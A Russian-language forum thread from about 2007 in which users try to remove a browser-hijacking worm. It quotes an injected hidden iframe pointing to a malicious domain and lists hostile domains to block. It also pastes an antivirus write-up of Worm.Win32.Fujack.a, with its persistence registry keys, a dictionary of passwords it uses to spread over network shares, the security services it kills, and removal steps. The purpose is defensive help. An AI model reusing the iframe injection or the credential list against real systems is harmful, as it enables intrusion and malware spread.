Помогите удалить вирус!

[Mishgan]

давайте подумаем как и чем побороть эту бяку?(((

NOD32 поставь или Каспирского!

[ShadowMaster]

установил NOD32 Anti-Virus System (2.51.20 Rus),обновил базу до версии 2636 (20071103)
просканил, то что нашёл пролечил + удалил
+ просканировал комп с Ad-Aware® Professional Edition 2007 v7.0.15 на всякую ересь в системе , удалил то что нашлось
вроде эта ерундистика невыскакивает пока что
Остался на NOD'e 32 пока что

PS: пасиб Mishgan

PSS: как сохранить на будущее обновлённую базу НОДа ?какие файлы и откуда сохранять кто знает

[Sandro]

Обновленные базы находятся в updfiles

[ShadowMaster]

это кошмар какой та((( опять 25


просмарел HTML код страницы, в самом начале пишет строчку

<iframe src='http://aaa.520ping.com/error.htm' width=100 height=2></iframe>
<style>

и в левом верхнем углу прорисовывается черта (3ий pic ) , я хз(((

на 4 скрине эти файлы, чистил их, и всё равно , хоть бы хны((( лезут и лезут

PS: мож чо та с AVANT браузером в + IE те же петрушка

[Alexiy]

NOD32 поставь или Каспирского!

А всё-таки Каспирский даже 6-й версии у меня нашёл 2-х троянов после NOD'а последней версии... Все были с последними базами.
так что делайте выводы! ;) Не знаю кто как, а я выбор антивируса сделал давно.

Просто антивирус не может удалить троян, запущенный в данный момент.

Да, именно так и было... года 2-3 назад. Добрые хакккеры из лаборатории Касперского многого добились за последнее время! Попробуйте, например, 7-ю версию. Антивирус стал намного зубастее и агрессивнее! С помощью хаков системы просто зачищает всё на лету!

[Hymen]

Live CDs от Каспера или от Panda?

[Alena]

Похожая проблема. Вирус TxHMou.exe. При загрузке компа переводит дату незаметно на 2000. 7-Касперский нервно хрюкает(в лучшем случае) и отрубает ключ, т.к. дата неверна. Пока правишь год (причем сразу не получается), плодится масса прочей дряни. Каспера отключает с пол-пинка, и щит винды тоже. Обновление винды блокирует.
Все прочие антивирусы, если что-то и видят, то сделать ничего не могут, парочку удалят разве что. Nod32 честно признался, что неизвестный вирус и скачал себе. В Яндексе описания не нашла. Стартовой страницей ставится левый адрес main.94ak.com без невозможности замены. Каспер обещает убить вирус только после перезагрузки. Плодится в каталоге system32 в массе DLL., во временных файлах. В итоге как царь в корне диска создает файл Sos.exe и autorun для запуска этого самого sos, и и еще в винде. Плодит в винде массу каталогов с файлоами a10.exe.........a20.exe (номеров масса) в каталогах для восстановления винды. При переходе по страницам переход назад пытается осуществить на ip560.com. Ну и прочие пакости.
Если бы дело было только в винде, переустановил, и всё. НО! Принесла другой диск, работавший ранее без проблем и вирусов, поставила взамен, отключив зараженный. Ситуация с 2000 годом повторилась со всеми вытекающими. Иной раз при попытке борьбы доходило до синего экрана смерти с руганью на файл win32k.sys (код ощибки каюсь, не записала). Вычистила вручную всю замеченную дрянь даже по дате создания и системные тоже. Переустановила винду (естественно, выдернув сетевой кабель), наколько возможно, проверила всё 7касперским, вроде все работало. Но на другой день то же самое.
Устойчивое впечатление, что эта гадость лезет из bios (или у меня уже паранойя). Сегодня захожу из iNFR@CD, ( комп отключался перед этим полностью от питания), перед эти установив биос по-новой , отключив винт, и при загрузке яндекса вижу, что комп параллельно пытается поединиться с ip560.com. Как бороться еще, даже не знаю.

В общем, настойчиво рекломендую всем поставить в запрещенные узлы 121.10.107.156
ip560.com
268ip.com

Файл xjz2007.bmp и прочие варианты в виде xjz2007[1].bmp - это тоже вирус.

В названиях вирусов фигурировали в середине нечто win32WOW и ONLINEGames ( удивило, в игры по сети у нас не играет никто, да и комп не для игр).

В связи с этим вопрос, как почистить биос, если это возможно?

[Doctor_ORZ]

Ну вообще то этому ай-пи соответствуют ещё сайты

# www.ip540.com
# www.ip560.com
# ping callaway pong golf club at 520ping.com
# www.ip530.com
# www.366ip.com

Можно взять ваш комп на анализ? Очень важно!!!

[Alena]

Doc, в личку пороль от моей солнетовской почты можно?)))

Alena добавил(а) 12.12.2007 в 00:29
Только в гугле нашла описание

ThreatExpert Report: Bloodhound.Unknown

txhmou.exe - Dangerous

[Alena]

При проверке каспером (вирус создает два загрузочных файла в корне C:\) в режиме он-лайн

AUToRUN.Inf - инфицирован Worm.Win32.AutoRun.cn
soS.Exe - инфицирован Trojan-Downloader.Win32.Agent.fts
Описание первого Worm.Win32.AutoRun.cn похоже на

вот это Worm.Win32.Fujack.a :

Viruslist.com - Worm.Win32.Fujack.a

У кого нет инета:

Спойлер

Технические детали

Вирус-червь, самокопирующий себя на жесткий диск зараженного компьютера и на доступные для записи сетевые ресурсы. Является приложением Windows (PE EXE-файл). Размер компонентов червя варьируется в пределах от 26 до 129 КБ. Может быть упакован различными упаковщиками.
Инсталляция

При запуске червь копирует свой исполняемый файл в системный каталог Windows:
%System%\drivers\spoclsv.exeС целью автоматического запуска при последующем старте системы вирус добавляет ссылку на свой исполняемый файл в ключи автозапуска системного реестра:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Svcshare" = "%System%\drivers\spoclsv.exe"
[HKLM\Software\Microsoft\Windows\CurrentVersion\Run]
"Svcshare" = "%System%\drivers\spoclsv.exe"
Деструктивная активность

Червь заражает файлы с расширениями «.exe», «.scr», «.pif», «.com» на всех фиксированных дисках — за исключением файлов в папках, имена которых содержат следующие строки:
· WINDOWS· Winnt· Recycled· Windows NT· WindowsUpdate· Windows Media Player· Outlook Express· Internet Explorer· NetMeeting· Common Files· ComPlus Applications· Messenger· InstallShield Installation Information· MSN· Microsoft Frontpage· Movie Maker· MSN Gamin ZoneТакже не подвергаются инфицированию файлы, размер которых больше 10 млн. 485 тыс. 760 байт.
При заражении файлов червь записывает свой исполняемый файл впереди их оригинального содержимого.
Также вирус пытается заразить файлы, находящиеся в сетевых папках. Для этого он пытается подключиться к удаленным компьютерам в сетевом окружении, используя следующие имена параметры:
Имя пользователя

· Administrator· Guest· Admin· RootПароль

· 1234· password· 6969· harley· 123456· golf· pussy· mustang· 1111· shadow· 1313· fish· 5150· 7777· qwerty· baseball· 2112· letmein· 12345678· 12345· ccc· admin· 5201314· qq520· 1· 12· 123· 1234567· 123456789· 654321· 54321· 111· 000000· abc· pw· 11111111· 88888888· pass· passwd· database· abcd· abc123· sybase· 123qwe· server· computer· 520· super· 123asd· Ihavenopass· godblessyou· enable· xp· 2002· 2003· 2600· alpha· 110· 111111· 121212· 123123· 1234qwer· 123abc· 007· a· aaa· patrick· pat· administrator· root· sex· god· foobar· secret· test· test123· temp· temp123· win· pc· asdf· pwd· qwer· yxcv· zxcv· home· xxx· owner· login· Login· pw123· love· mypc· mypc123· admin123· mypass· mypass123Червь копирует свой исполняемый файл в корневые каталоги всех съемных дисков под именем «setup.exe» и создает файл «autorun.inf», содержащий ссылку данный файл. Таким образом, при просмотре пользователем содержимого съемного диска при помощи «Проводника» Windows исполняемый файл червя запускается автоматически.
Также вирус останавливает и удаляет следующие службы:
1. Schedule2. Sharedaccess3. RsCCenter4. RsRavMon5. KVWSC6. KVSrvXP7. Kavsvc8. AVP9. Kavsvc10.McAfeeFramework11.McShield12.McTaskManager13.Navapsvc14.Wscsvc15.KPfwSvc16.SNDSrvc17.ccProxy18.ccEvtMgr19.ccSetMgr20.SPBBCSvc21.Symantec Core LC22.NPFMntor23.MskService24.FireSvcИ удаляет параметры из ключа автозапуска системного реестра:
· [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]· RavTask· KvMonXP· Kav· KAVPersonal50· McAfeeUpdaterU· Network Associates Error Reporting Service· ShStatEXE· YLive.exe· YassistseПо следующей ссылке червь скачивает список файлов, предназначенных для загрузки из сети Интернет:
**************ac86.cn/****/mm.txt (ссылку убила специально)Все скачанные файлы сохраняются в корневой каталог Windows («%WinDir%») и запускаются на исполнение.
Рекомендации по удалению

Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой, то для ее удаления необходимо выполнить следующие действия:

1. При помощи «Диспетчера задач» завершить процесс червя (возможное имя процесса — «spoclsv.exe»).
2. Удалить оригинальный файл червя (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
3. Удалить параметры из ключей системного реестра:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Svcshare" = "%System%\drivers\spoclsv.exe"
[HKLM\Software\Microsoft\Windows\CurrentVersion\Run]
"Svcshare" = "%System%\drivers\spoclsv.exe"

1. Удалить файл:

%System%\drivers\spoclsv.exe

1. Удалить все копии червя на жестком диске.
2. Удалить следующие файлы из корневых каталогов всех съемных дисков:

7. autorun.infsetup.exeПроизвести полную проверку компьютера Антивирусом Касперского с обновленными антивирусными базами (скачать пробную версию).

Только в данном случае не setup.exe, а пара с

AUToRUN.Inf
soS.Exe , и в удачном удалении касперским не уверена.

Для сведения: drweb.ru, в отличие от каспера, видит только 1 вирус:
1.rar - archive RAR
>1.rar/AUToRUN.Inf - OK
>1.rar/soS.Exe packed by UPX
В файле >>1.rar/soS.Exe обнаружен вирус Win32.HLLW.Autoruner.1011